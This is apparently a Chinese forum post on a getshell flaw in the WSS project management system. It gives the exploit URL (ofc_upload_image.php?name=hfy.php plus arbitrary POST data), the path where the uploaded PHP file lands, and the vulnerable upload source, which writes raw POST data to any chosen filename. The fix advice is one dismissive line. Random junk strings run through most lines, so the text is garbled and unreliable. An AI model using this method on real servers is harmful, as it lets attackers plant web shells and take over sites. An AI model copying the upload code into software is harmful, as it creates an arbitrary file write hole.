WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
4 R' ?! d- }3 o( b+ g 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

: H) u& ]' U- I2 n; c/ O利用：
; I2 b+ o& Y9 M/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
  P" Q% ?/ a1 I
" L/ L! Z0 g- L2 S% V2 w  X  IPost任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php
% y/ ?1 U3 j4 W; d0 }4 [

1 i! X! }4 N9 w3 [, B- \7 e最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
$ f; |6 ]/ R2 j( I" W, j# m
) m3 G1 s# t9 {8 F. o<?php

//
+ E$ Z, G1 b- Q) M) E// In Open Flash Chart -> save_image debug mode, you
  T/ T' \: B' O) D4 i# ~// will see the 'echo' text in a new window.
//

0 M$ f- T$ e" ~. {2 H7 h+ _/*
8 q6 U; `, _% g: f' @" e8 l4 r
5 q8 H3 Q, u; T! P% ^* Tprint_r( $_GET );
( r, W+ T/ h$ ^- p7 t* h, Q& Yprint_r( $_POST );
print_r( $_FILES );
) E, Q6 E6 d& e) Y; T0 d
print_r( $GLOBALS );
, b2 }: `5 c9 I3 m  t8 Vprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
4 i& y; c8 F! L* A  m
*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
# ]6 x7 p  f7 S; m
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
/ }8 z8 m* M, u
: i4 ]& j: S- [% c. n: iecho 'Saving your image to: '. $destination;
$ e3 _% u" H1 r) H) |// print_r( $_POST );
! R  z/ m5 h4 B0 f) L4 Q// print_r( $_SERVER );
/ N# U; `7 j+ j: P// echo $HTTP_RAW_POST_DATA;
7 n- i" T) [& v" u7 f7 F
; G! K+ l4 ^) d3 y! [! `" j' C- U( }//
; C2 {0 v3 i# O# S1 l- D6 l// POST data is usually string data, but we are passing a RAW .png
2 a8 _5 b4 H- i2 q5 B// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//

$jfh = fopen($destination, 'w') or die("can't open file");
- N2 l# }+ X9 \+ {8 lfwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
% q" i# V, y0 o# |
//
5 }6 `" ~% }/ ]9 f* A( X// LOOK:
//
8 }" ^- c4 d+ `7 B5 K5 zexit();
//
5 A& T  T2 i2 _) M// PHP5:
$ s6 J7 z. [7 |8 G  Y( O//


// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
1 T0 P/ I# m0 T) f/ z* e% K
1 l' E+ i# M: z1 L! Wif (!file_exists($default_path)) mkdir($default_path, 0777, true);
% k) z1 x. R7 x1 L4 @7 g& e
// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

% w  ~0 o: z2 l1 Z. h/ `// move the image into the specified directory //
9 p6 j. S$ \5 O5 r8 Rif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
3 m& K1 D; J: |} else {
+ @$ L% n; |) K, k. ?% |# B    echo "FILE UPLOAD FAILED";
/ B2 \1 Z+ q, F) U) y}

5 `: q' @% a! N  }8 T- }) k
6 [2 I0 C0 H+ |6 M; f?>




5 k* R4 [$ w6 r* \0 O. g

修复方案：
/ K# F# o+ f- X# Q9 j% d这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
- I  T) g2 |% V2 o

4 \9 Y9 I" i; c) C+ A% @$ U
9 c5 h( E$ Y3 t6 l, O5 C